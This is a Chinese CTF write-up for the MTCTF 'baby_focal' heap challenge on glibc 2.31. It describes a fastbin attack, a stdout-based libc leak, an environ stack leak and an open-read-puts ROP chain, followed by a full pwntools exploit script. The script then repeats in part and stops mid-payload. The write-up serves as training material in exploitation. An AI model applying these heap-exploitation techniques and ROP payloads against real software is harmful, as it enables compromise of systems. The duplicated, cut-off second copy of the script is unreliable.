-
-
[原创] MTCTF baby_focal PWN writeup
-
发表于: 2021-5-25 03:01 11494
-
一道glibc2.31的堆题,但漏洞利用过程与新特性没什么关系
开启了seccomp,禁用了execve,也就是我们要用orw来读flag
为了方便调试,我们把两个sleep也nop掉
没有show函数,这就意味着我们要通过打 _IO_2_1_stdout 来泄露libc
好消息是题目没有开启pie
由于可以越界写16字节,我们可以劫持FD字段,所以想到可以打tcache attack,但这里用的是calloc函数,所以我们选择 fastbin attack
所以先填满对应大小的tcache,再free就可以进入fastbin里面
然后就是FD劫持的位置,由于没有开pie,很自然就能想到可以劫持bss段上的堆指针数组和size数组,到了这一步我们就相当于拥有的任意地址写,接下来就是泄露、
通过修改bss上的数据,我们可以伪造一个unsorted bin 大小的chunk,把这个chunk给free掉,它的fd就会带上一个libc的地址,然后我们通过局部覆盖爆破出 _IO_2_1_stdout(十六分之一的概率) ,从而泄露出libc基地址
拿到libc之后问题在于往哪里写orw的ROP链,这里我选择的是往栈上写
所以首先要泄露出栈地址,我采取的手段是:
把 free_hook 改成 puts的plt地址,然后在堆块里写上 environ 的地址,这样当我们free掉这个堆块的时候,就会泄露出 environ 的值,即栈的地址
最后算一下edit函数的返回地址的偏移,在edit的时候把rop链写到栈上,最后ret的时候就会执行我们的rop链,从而把flag打印出来
值得一提的是,程序里有flag这个字符串,这样我们就不用自己写,直接把这个地址传进RDI就行,还有就是调用 open 的时候,记得把RSI清0,即第二个参数为0
from
pwn
import
*
context.binary
=
"./baby_focal"
#context.log_level = "debug"
libc
=
context.binary.libc
def
debug():
gdb.attach(sh)
pause()
def
add(index,size):
sh.sendlineafter(
">> "
,
"1"
)
sh.sendlineafter(
">> "
,
str
(index))
sh.sendlineafter(
">> "
,
str
(size))
def
free(index):
sh.sendlineafter(
">> "
,
"3"
)
sh.sendlineafter(
">> "
,
str
(index))
def
edit(index,data):
sh.sendlineafter(
">> "
,
"2"
)
sh.sendlineafter(
">> "
,
str
(index))
sh.sendafter(
"content >> "
,data)
while
1
:
try
:
sh
=
process(
"./baby_focal"
)
sh.sendlineafter(
"name: "
,
"77pray"
)
for
i
in
range
(
7
):
add(
0
,
0x70
)
free(
0
)
add(
0
,
0x78
)
add(
1
,
0x70
)
free(
1
)
payload1
=
b
'a'
*
0x70
+
p64(
0x0
)
+
p64(
0x81
)
+
p64(
0x404060
)
edit(
0
,payload1)
add(
1
,
0x70
)
add(
1
,
0x70
)
payload2
=
p64(
0x404060
)
+
p64(
0x1000
)
+
p64(
0x0
)
+
p64(
0x421
)
+
p64(
0x404080
)
+
p64(
0x421
)
+
b
'\x0a'
edit(
1
,payload2)
payload2
=
p64(
0
)
*
2
+
p64(
0x404060
)
+
p64(
0x421
)
+
p64(
0x0
)
+
p64(
0x421
)
+
p64(
0x404080
)
+
p64(
0x421
)
+
b
'\x11'
*
0x3f0
+
p64(
0x0
)
+
p64(
0x21
)
+
p64(
0
)
*
3
+
p64(
0x21
)
+
b
'\x0a'
edit(
1
,payload2)
free(
3
)
payload3
=
p64(
0x404088
)
+
p64(
0x421
)
+
p64(
0
)
*
2
+
b
'\x60\x97\x0a'
edit(
1
,payload3)
edit(
0
,p64(
0x40
)
+
b
'\x0a'
)
payload4
=
flat(
0xfbad1800
,
0
,
0
,
0
)
+
b
'\x50\x0a'
edit(
2
,payload4)
stdin_addr
=
u64(sh.recvuntil(
'\x7f'
,timeout
=
0.1
)[
-
6
:].ljust(
8
, b
'\x00'
))
libc_base
=
stdin_addr
-
libc.sym[
'_IO_file_jumps'
]
free_hook
=
libc_base
+
libc.sym[
'__free_hook'
]
stack
=
libc_base
+
libc.sym[
'environ'
]
puts_plt
=
0x401134
#print(hex(libc_base))
edit(
0
,flat(
0x40
,free_hook,
0x20
, stack
-
0x10
,
0x20
)
+
b
'\x0a'
)
edit(
3
,p64(puts_plt)
+
b
'\x0a'
)
edit(
4
,flat(
0
,
0x61
)
+
b
'\x0a'
)
edit(
0
,flat(
0x40
,free_hook,
0x20
, stack ,
0x20
)
+
b
'\x0a'
)
#debug()
sh.sendlineafter(
">> "
,
"3"
)
sh.sendlineafter(
">> "
,
str
(
4
))
stack_addr
=
u64(sh.recvuntil(
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
304
#print(hex(stack_addr))
edit(
0
,flat(
0x40
, stack_addr ,
0x400
)
+
b
'\x0a'
)
pop_rdi_ret
=
libc_base
+
0x2155f
pop_rsi_ret
=
libc_base
+
0x23e6a
pop_rdx_ret
=
libc_base
+
0x1b96
pop_rax_ret
=
libc_base
+
0x439c8
flag_str_addr
=
0x402068
syscall
=
libc_base
+
0x13C0
bss_addr
=
0x4040b0
open_chain
=
p64(pop_rdi_ret)
+
p64(flag_str_addr)
+
p64(pop_rsi_ret)
+
p64(
0
)
+
p64(libc.sym[
"open"
]
+
libc_base)
read_chain
=
p64(pop_rdi_ret)
+
p64(
3
)
read_chain
+
=
p64(pop_rsi_ret)
+
p64(bss_addr)
read_chain
+
=
p64(pop_rdx_ret)
+
p64(
0x40
)
+
p64(libc.sym[
"read"
]
+
libc_base)
# read
puts_chain
=
p64(pop_rdi_ret)
+
p64(bss_addr)
puts_chain
+
=
p64(libc.sym[
"puts"
]
+
libc_base)
# puts
orw_chain
=
open_chain
+
read_chain
+
puts_chain
edit(
3
,orw_chain
+
b
'\x0a'
)
sh.interactive()
break
#debug()
except
Exception as e:
sh.close()
pass
from
pwn
import
*
context.binary
=
"./baby_focal"
#context.log_level = "debug"
libc
=
context.binary.libc
def
debug():
gdb.attach(sh)
pause()
def
add(index,size):
sh.sendlineafter(
">> "
,
"1"
)
sh.sendlineafter(
">> "
,
str
(index))
sh.sendlineafter(
">> "
,
str
(size))
def
free(index):
sh.sendlineafter(
">> "
,
"3"
)
sh.sendlineafter(
">> "
,
str
(index))
def
edit(index,data):
sh.sendlineafter(
">> "
,
"2"
)
sh.sendlineafter(
">> "
,
str
(index))
sh.sendafter(
"content >> "
,data)
while
1
:
try
:
sh
=
process(
"./baby_focal"
)
sh.sendlineafter(
"name: "
,
"77pray"
)
for
i
in
range
(
7
):
add(
0
,
0x70
)
free(
0
)
add(
0
,
0x78
)
add(
1
,
0x70
)
free(
1
)
payload1
=
b
'a'
*
0x70
+
p64(
0x0
)
+
p64(
0x81
)
+
p64(
0x404060
)
edit(
0
,payload1)
add(
1
,
0x70
)
add(
1
,
0x70
)
payload2
=
p64(
0x404060
)
+
p64(
0x1000
)
+
p64(
0x0
)
+
p64(
0x421
)
+
p64(
0x404080
)
+
p64(
0x421
)
+
b
'\x0a'